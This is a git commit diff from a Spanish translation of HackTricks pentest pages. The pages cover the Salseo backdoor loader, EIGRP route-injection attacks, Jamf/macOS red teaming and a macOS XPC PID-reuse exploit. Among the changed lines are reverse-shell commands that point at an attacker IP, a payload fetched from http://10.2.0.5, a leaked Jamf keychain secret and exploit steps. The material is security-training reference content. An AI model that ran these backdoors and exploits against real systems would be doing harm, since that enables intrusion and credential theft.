Translated ['backdoors/salseo.md', 'generic-methodologies-and-resources/

This commit is contained in:
Translator 2023-06-14 11:51:06 +00:00
parent 248aa0f1f0
commit 78211d94fd
58 changed files with 310 additions and 307 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 129 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 358 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 350 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.0 KiB

After

Width:  |  Height:  |  Size: 344 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 3.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 535 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 58 KiB

After

Width:  |  Height:  |  Size: 535 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 148 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 148 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 244 KiB

After

Width:  |  Height:  |  Size: 102 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 358 KiB

After

Width:  |  Height:  |  Size: 244 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 220 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 220 KiB

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 45 KiB

After

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 96 KiB

After

Width:  |  Height:  |  Size: 129 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 91 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 91 KiB

After

Width:  |  Height:  |  Size: 316 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 316 KiB

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 55 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 55 KiB

After

Width:  |  Height:  |  Size: 405 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 405 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 103 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 103 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 61 KiB

After

Width:  |  Height:  |  Size: 82 KiB

View File

@ -16,7 +16,7 @@
Descarga el código fuente de Github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener instalado **Visual Studio** para compilar el código.
Compila ambos proyectos para la arquitectura de la máquina Windows donde los vayas a usar (si Windows admite x64, compílalos para esa arquitectura).
Compila ambos proyectos para la arquitectura de la máquina Windows donde los vayas a utilizar (si Windows admite x64, compílalos para esa arquitectura).
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build"** en **"Platform Target".**
@ -39,31 +39,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
```
### Windows
### Introducción
En este capítulo, discutiremos algunas técnicas para crear backdoors en sistemas Windows. Los backdoors son una forma de acceso no autorizado a un sistema, lo que permite a un atacante mantener el acceso a un sistema comprometido incluso después de que se hayan tomado medidas para eliminar el acceso inicial.
### Creando un backdoor con Metasploit
Metasploit es una herramienta de código abierto que se utiliza para desarrollar y ejecutar exploits contra sistemas informáticos. También se puede utilizar para crear backdoors en sistemas Windows.
Para crear un backdoor con Metasploit, primero debemos seleccionar un exploit que nos permita obtener acceso al sistema. Una vez que hemos seleccionado un exploit, podemos utilizar Metasploit para generar un payload que se ejecutará en el sistema comprometido y nos dará acceso al sistema.
### Creando un backdoor con PowerShell
PowerShell es un lenguaje de scripting de Microsoft que se utiliza para administrar sistemas Windows. También se puede utilizar para crear backdoors en sistemas Windows.
Para crear un backdoor con PowerShell, podemos utilizar una técnica conocida como "reflective DLL injection". Esta técnica nos permite cargar una DLL maliciosa en la memoria de un proceso legítimo, lo que nos permite ejecutar código malicioso en el contexto del proceso legítimo.
### Creando un backdoor con una puerta trasera personalizada
También podemos crear una puerta trasera personalizada para obtener acceso no autorizado a un sistema Windows. Para hacer esto, podemos utilizar un lenguaje de programación como C++ o C# para crear un programa que se ejecute en el sistema comprometido y nos dé acceso al sistema.
Una vez que hemos creado nuestro programa, podemos utilizar técnicas de ofuscación para ocultar el programa de los programas antivirus y de seguridad del sistema. También podemos utilizar técnicas de empaquetado para comprimir el programa y hacer que sea más difícil de detectar.
### Conclusión
En este capítulo, hemos discutido algunas técnicas para crear backdoors en sistemas Windows. Es importante recordar que el uso de estas técnicas para obtener acceso no autorizado a un sistema es ilegal y puede resultar en consecuencias graves. Siempre debemos utilizar estas técnicas con fines educativos y éticos.
Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
@ -101,7 +77,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Dentro de la víctima, ejecutemos la técnica salseo:
#### Dentro de la víctima, ejecutemos la cosa salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
@ -115,13 +91,13 @@ Abre el proyecto SalseoLoader usando Visual Studio.
### Instala DllExport para este proyecto
#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
#### **Herramientas** --> **Administrador de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../.gitbook/assets/image (3) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el mensaje emergente)**
![](<../.gitbook/assets/image (4) (1) (1) (1).png>)
![](<../.gitbook/assets/image (4) (1) (1) (1) (1).png>)
En la carpeta de tu proyecto aparecerán los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
@ -129,11 +105,11 @@ En la carpeta de tu proyecto aparecerán los archivos: **DllExport.bat** y **Dll
Presiona **Desinstalar** (sí, es extraño, pero confía en mí, es necesario)
![](<../.gitbook/assets/image (5) (1) (1) (2).png>)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### **Cierra Visual Studio y ejecuta DllExport\_configure**
### **Sal de Visual Studio y ejecuta DllExport\_configure**
Simplemente **cierra** Visual Studio
Simplemente **sal** de Visual Studio
Luego, ve a tu carpeta de **SalseoLoader** y **ejecuta DllExport\_Configure.bat**
@ -141,7 +117,7 @@ Selecciona **x64** (si lo vas a usar dentro de una caja x64, ese fue mi caso), s
![](<../.gitbook/assets/image (7) (1) (1) (1).png>)
### **Abre el proyecto nuevamente con Visual Studio**
### **Abre el proyecto de nuevo con Visual Studio**
**\[DllExport]** ya no debería estar marcado como error
@ -184,7 +160,7 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (Command Prompt) es una herramienta de línea de comandos en sistemas operativos Windows que permite a los usuarios interactuar con el sistema operativo mediante comandos. Los comandos CMD pueden ser utilizados para realizar diversas tareas, como la gestión de archivos y directorios, la configuración de redes y la ejecución de programas. Los hackers pueden utilizar CMD para ejecutar comandos maliciosos y crear backdoors en sistemas Windows comprometidos.
CMD (Command Prompt) es una herramienta de línea de comandos en sistemas operativos Windows que permite a los usuarios interactuar con el sistema operativo mediante comandos. Los comandos CMD pueden ser utilizados para realizar diversas tareas, como la gestión de archivos y directorios, la configuración de redes, la ejecución de programas y la solución de problemas de sistema. Los hackers pueden utilizar CMD para ejecutar comandos maliciosos y crear backdoors en sistemas comprometidos.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt

View File

@ -55,91 +55,49 @@ El comando **vtysh** nos llevará al panel de control del router FRR.
#### Introduction
EIGRP (Enhanced Interior Gateway Routing Protocol) is a Cisco proprietary routing protocol that is widely used in enterprise networks. It is an advanced distance-vector routing protocol that uses Diffusing Update Algorithm (DUAL) to calculate the shortest path to a destination network. EIGRP is a classless routing protocol that supports variable-length subnet masks (VLSM) and route summarization.
The Enhanced Interior Gateway Routing Protocol (EIGRP) is a Cisco proprietary routing protocol that is widely used in enterprise networks. EIGRP is an advanced distance-vector routing protocol that uses a complex metric based on bandwidth, delay, reliability, load, and MTU to calculate the best path to a destination network. EIGRP is a classless routing protocol that supports variable-length subnet masks (VLSM) and route summarization.
#### EIGRP Protocol Overview
EIGRP uses a hierarchical network design that consists of the following components:
EIGRP uses a hierarchical network design that consists of autonomous systems (AS) and areas. An AS is a collection of networks that are under a common administrative domain. An area is a logical grouping of networks that share the same routing policies. EIGRP uses a Diffusing Update Algorithm (DUAL) to calculate the best path to a destination network. DUAL is a loop-free algorithm that guarantees a fast convergence and a stable routing table.
- Autonomous System (AS): A collection of networks that are under a common administrative domain.
- Router: A device that forwards data packets between networks.
- Neighbor: A router that shares routing information with another router.
- Topology Table: A database that stores information about all known routes in the network.
- Routing Table: A database that stores the best routes to each destination network.
- Metrics: A set of values that are used to calculate the best path to a destination network.
#### EIGRP Protocol Vulnerabilities
#### EIGRP Attacks
EIGRP is a complex protocol that has several vulnerabilities that can be exploited by attackers. The most common EIGRP attacks are:
EIGRP is vulnerable to the following attacks:
- EIGRP Neighbor Spoofing: An attacker can send EIGRP packets with a spoofed source address to impersonate a legitimate EIGRP neighbor. This can be used to inject false routing information or to cause a denial of service (DoS) attack.
- Eavesdropping: An attacker can intercept EIGRP packets and obtain sensitive information such as network topology, routing tables, and metrics.
- Spoofing: An attacker can send fake EIGRP packets to a router and manipulate its routing table. This can lead to traffic redirection, black-holing, and denial of service (DoS) attacks.
- Injection: An attacker can inject fake EIGRP packets into the network to advertise false routes. This can lead to traffic interception, man-in-the-middle (MitM) attacks, and data leakage.
- DoS: An attacker can flood the network with EIGRP packets to consume network resources and cause network congestion.
- EIGRP Route Injection: An attacker can inject false routing information into the EIGRP network to redirect traffic to a malicious destination or to cause a DoS attack.
#### EIGRP Countermeasures
- EIGRP Route Poisoning: An attacker can send EIGRP packets with a high metric value to advertise a non-optimal route to a destination network. This can be used to cause a DoS attack or to perform a man-in-the-middle (MitM) attack.
To mitigate EIGRP attacks, the following countermeasures can be implemented:
- EIGRP Authentication Bypass: EIGRP supports authentication to prevent unauthorized access to the routing domain. However, if the authentication mechanism is not properly configured, an attacker can bypass it and gain access to the routing domain.
- Authentication: EIGRP supports MD5 authentication to secure the exchange of routing information between routers.
- Encryption: EIGRP supports IPsec encryption to protect the confidentiality and integrity of routing information.
- Access Control: EIGRP packets should be filtered at network boundaries to prevent unauthorized access and spoofing.
- Monitoring: EIGRP traffic should be monitored for anomalies and suspicious activity.
- Hardening: EIGRP routers should be hardened by disabling unnecessary services and features, and applying security patches and updates.
#### EIGRP Attack Tools
#### Conclusion
There are several tools that can be used to perform EIGRP attacks, such as:
EIGRP is a powerful routing protocol that provides many benefits to enterprise networks. However, it is important to be aware of its vulnerabilities and implement appropriate countermeasures to protect against attacks. By following the best practices of network security, organizations can ensure the integrity, availability, and confidentiality of their network infrastructure.
- eigrp_spoofer: A tool that allows an attacker to spoof EIGRP packets and impersonate a legitimate EIGRP neighbor.
#### References
- eigrpinject: A tool that allows an attacker to inject false routing information into the EIGRP network.
- [Cisco EIGRP Overview](https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/16406-eigrp-toc.html)
- [EIGRP Security Best Practices](https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/13669-17.html)
- eigrp_poisoner: A tool that allows an attacker to perform EIGRP route poisoning attacks.
### Ataques EIGRP
- eigrp_auth_bypass: A tool that allows an attacker to bypass EIGRP authentication mechanisms.
#### Introducción
#### EIGRP Attack Mitigations
EIGRP (Protocolo de enrutamiento de puerta de enlace interior mejorado) es un protocolo de enrutamiento propietario de Cisco que se utiliza ampliamente en redes empresariales. Es un protocolo de enrutamiento vectorial de distancia avanzado que utiliza el algoritmo de actualización difusa (DUAL) para calcular la ruta más corta a una red de destino. EIGRP es un protocolo de enrutamiento sin clase que admite máscaras de subred de longitud variable (VLSM) y resumen de ruta.
To mitigate EIGRP attacks, it is recommended to:
#### Descripción general del protocolo EIGRP
- Enable EIGRP authentication and configure strong passwords.
EIGRP utiliza un diseño de red jerárquico que consta de los siguientes componentes:
- Use access control lists (ACLs) to restrict EIGRP traffic to trusted sources.
- Sistema autónomo (AS): una colección de redes que se encuentran bajo un dominio administrativo común.
- Enrutador: un dispositivo que reenvía paquetes de datos entre redes.
- Vecino: un enrutador que comparte información de enrutamiento con otro enrutador.
- Tabla de topología: una base de datos que almacena información sobre todas las rutas conocidas en la red.
- Tabla de enrutamiento: una base de datos que almacena las mejores rutas para cada red de destino.
- Métricas: un conjunto de valores que se utilizan para calcular la mejor ruta a una red de destino.
- Use encryption to protect EIGRP traffic.
#### Ataques EIGRP
- Monitor EIGRP traffic for anomalies and suspicious activity.
EIGRP es vulnerable a los siguientes ataques:
- Espionaje: un atacante puede interceptar paquetes EIGRP y obtener información confidencial como la topología de la red, las tablas de enrutamiento y las métricas.
- Suplantación: un atacante puede enviar paquetes EIGRP falsos a un enrutador y manipular su tabla de enrutamiento. Esto puede provocar la redirección de tráfico, la eliminación de tráfico y ataques de denegación de servicio (DoS).
- Inyección: un atacante puede inyectar paquetes EIGRP falsos en la red para anunciar rutas falsas. Esto puede provocar la interceptación de tráfico, ataques de hombre en el medio (MitM) y fugas de datos.
- DoS: un atacante puede inundar la red con paquetes EIGRP para consumir recursos de red y causar congestión de red.
#### Contramedidas EIGRP
Para mitigar los ataques EIGRP, se pueden implementar las siguientes contramedidas:
- Autenticación: EIGRP admite autenticación MD5 para asegurar el intercambio de información de enrutamiento entre enrutadores.
- Cifrado: EIGRP admite cifrado IPsec para proteger la confidencialidad e integridad de la información de enrutamiento.
- Control de acceso: los paquetes EIGRP deben filtrarse en los límites de la red para evitar el acceso no autorizado y la suplantación.
- Monitoreo: el tráfico EIGRP debe monitorearse en busca de anomalías y actividad sospechosa.
- Fortalecimiento: los enrutadores EIGRP deben fortalecerse mediante la desactivación de servicios y características innecesarios, y la aplicación de parches y actualizaciones de seguridad.
#### Conclusión
EIGRP es un protocolo de enrutamiento potente que proporciona muchos beneficios a las redes empresariales. Sin embargo, es importante conocer sus vulnerabilidades e implementar contramedidas adecuadas para protegerse contra los ataques. Siguiendo las mejores prácticas de seguridad de red, las organizaciones pueden garantizar la integridad, disponibilidad y confidencialidad de su infraestructura de red.
#### Referencias
- [Descripción general de Cisco EIGRP](https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/16406-eigrp-toc.html)
- [Mejores prácticas de seguridad de EIGRP](https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/13669-17.html)
- Keep EIGRP software up-to-date with the latest security patches.
```
Inguz# show version
```
@ -147,7 +105,7 @@ Inguz# show version
> **Sin embargo, no olvides que el dominio de enrutamiento EIGRP puede estar protegido por autenticación. Pero aún tienes la oportunidad de conectarte al dominio de enrutamiento. Cuando se envían paquetes hello, también contienen hashes criptográficos. Si puedes extraer estos hashes del volcado de tráfico y restablecer la contraseña, puedes iniciar sesión en el dominio de enrutamiento con esta contraseña.**
Ve al modo de configuración global y comienza el proceso de **EIGRP**, especifica el número de sistema autónomo - **1**
Ve a la configuración global y comienza el proceso **EIGRP**, especifica el número de sistema autónomo - **1**
Y también necesitamos declarar la red en la que estamos. Estamos en 10.10.100.0/24. Mi dirección es 10.10.100.50/32
```
@ -186,7 +144,7 @@ Así, después de establecer la vecindad, sabemos sobre la existencia de estas s
Argumentos del script:
* **Interfaz del sistema atacante (eth0);**
* **Número autónomo del sistema EIGRP (1);**
* **Número autónomo de sistema EIGRP (1);**
* **Subred donde se encuentra el sistema atacante. En mi caso, la subred es 10.10.100.0/24**
```
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
@ -209,13 +167,13 @@ Argumentos del script:
```
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
```
<figure><img src="../../.gitbook/assets/image (20) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
**Nuestro host parece estar en problemas :)**
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
Como se puede ver, el host pierde la conectividad con el host **172.16.100.140/32** debido a la inyección de ruta.
Como se puede ver, el host pierde conectividad con el host **172.16.100.140/32** debido a la inyección de ruta.
### Abusando de los valores K <a href="#25aa" id="25aa"></a>

View File

@ -8,7 +8,7 @@
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -19,7 +19,7 @@
Si logras **comprometer las credenciales de administrador** para acceder a la plataforma de gestión, puedes **potencialmente comprometer todas las computadoras** distribuyendo tu malware en las máquinas.
Para el red teaming en entornos MacOS, es muy recomendable tener cierta comprensión de cómo funcionan los MDM:
Para el red teaming en entornos MacOS, es altamente recomendable tener cierta comprensión de cómo funcionan los MDMs:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
@ -47,13 +47,13 @@ Ve a una página como `https://<company-name>.jamfcloud.com/enroll/` para ver si
Podrías usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar un ataque de spraying de contraseñas.
Además, después de encontrar las credenciales adecuadas, podrías ser capaz de hacer fuerza bruta en otros nombres de usuario con el siguiente formulario:
Además, después de encontrar las credenciales adecuadas, podrías ser capaz de realizar un ataque de fuerza bruta en otros nombres de usuario con el siguiente formulario:
![](<../../.gitbook/assets/image (19).png>)
![](<../../.gitbook/assets/image (13).png>)
#### Autenticación de dispositivos JAMF
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
El binario **`jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento estaba **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
@ -94,11 +94,11 @@ Para **suplantar la comunicación** entre un dispositivo y JMF necesitas:
* El **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* El **llavero JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
Con esta información, **crea una VM** con el **UUID** de hardware **robado** y con **SIP deshabilitado**, deja caer el **llavero JAMF,** **engancha** el **agente** de Jamf y roba su información.
Con esta información, **crea una VM** con el **UUID** de hardware **robado** y con **SIP deshabilitado**, deja caer el **llavero JAMF,** **engancha** el agente de Jamf y roba su información.
#### Robo de secretos
<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption><p>a</p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p>a</p></figcaption></figure>
También puedes monitorear la ubicación `/Library/Application Support/Jamf/tmp/` para los **scripts personalizados** que los administradores puedan querer ejecutar a través de Jamf, ya que se **colocan aquí, se ejecutan y se eliminan**. Estos scripts **pueden contener credenciales**.
@ -108,7 +108,7 @@ El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-To
### Acceso remoto a macOS
Y también sobre los **protocolos de red** **"especiales"** de **MacOS**:
Y también sobre los **protocolos de red** "especiales" de **MacOS**:
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
@ -130,7 +130,7 @@ En algunas ocasiones encontrarás que la **computadora MacOS está conectada a u
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
Alguna **herramienta local de MacOS** que también puede ayudarte es `dscl`:
Algunas **herramientas locales de MacOS** que también pueden ayudarte son `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
@ -195,7 +195,7 @@ El Red Teaming de MacOS es diferente al Red Teaming regular de Windows ya que us
Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá automáticamente**. Por ejemplo, si se **descarga un archivo zip**, se descomprimirá automáticamente:
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
## Referencias

View File

@ -8,22 +8,22 @@
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Reutilización de PID
Cuando un servicio **XPC** de macOS está comprobando el proceso llamado basándose en el **PID** y no en el **token de auditoría**, es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una **condición de carrera** en la que un **exploit** va a **enviar mensajes al servicio XPC** abusando de la funcionalidad y justo **después** de eso, ejecutando **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** con el binario permitido.
Cuando un servicio **XPC** de macOS está verificando el proceso llamado basándose en el **PID** y no en el **token de auditoría**, es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una **condición de carrera** en la que un **exploit** va a **enviar mensajes al servicio XPC** abusando de la funcionalidad y justo **después** de eso, ejecutando **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** con el binario permitido.
Esta función hará que el **binario permitido posea el PID** pero el **mensaje XPC malicioso se habría enviado** justo antes. Por lo tanto, si el servicio **XPC** utiliza el **PID** para **autenticar** al remitente y lo comprueba **DESPUÉS** de la ejecución de **`posix_spawn`**, pensará que proviene de un proceso **autorizado**.
Esta función hará que el **binario permitido posea el PID** pero el **mensaje XPC malicioso ya habría sido enviado** justo antes. Por lo tanto, si el servicio **XPC** utiliza el **PID** para **autenticar** al remitente y lo verifica **DESPUÉS** de la ejecución de **`posix_spawn`**, pensará que proviene de un proceso **autorizado**.
### Ejemplo de exploit
Si encuentras la función **`shouldAcceptNewConnection`** o una función llamada por ella que **llame** a **`processIdentifier`** y no llame a **`auditToken`**. Es muy probable que esté verificando el PID del proceso y no el token de auditoría.\
Si encuentras la función **`shouldAcceptNewConnection`** o una función llamada por ella que **llame** a **`processIdentifier`** y no llame a **`auditToken`**, es muy probable que esté verificando el PID del proceso y no el token de auditoría.\
Como por ejemplo en esta imagen (tomada de la referencia):
<figure><img src="../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
Comprueba este ejemplo de exploit (de nuevo, tomado de la referencia) para ver las 2 partes del exploit:
@ -31,7 +31,7 @@ Comprueba este ejemplo de exploit (de nuevo, tomado de la referencia) para ver l
* **Cada fork** enviará el **payload** al servicio XPC mientras ejecuta **`posix_spawn`** justo después de enviar el mensaje.
{% hint style="danger" %}
Para que el exploit funcione es importante exportar export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES o ponerlo en el exploit:
Para que el exploit funcione, es importante exportar export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES o ponerlo en el exploit:
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
@ -155,6 +155,6 @@ int main(int argc, const char * argv[]) {
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -8,7 +8,7 @@
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -22,19 +22,19 @@ Obviamente, esto es tan poderoso que es complicado cargar una extensión de kern
* Al entrar en **modo de recuperación**, las extensiones de kernel deben estar **permitidas para ser cargadas**:
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
* La extensión de kernel debe estar **firmada con un certificado de firma de código de kernel**, que solo puede ser otorgado por **Apple**. Quien revisará en detalle la **empresa** y las **razones** por las que se necesita.
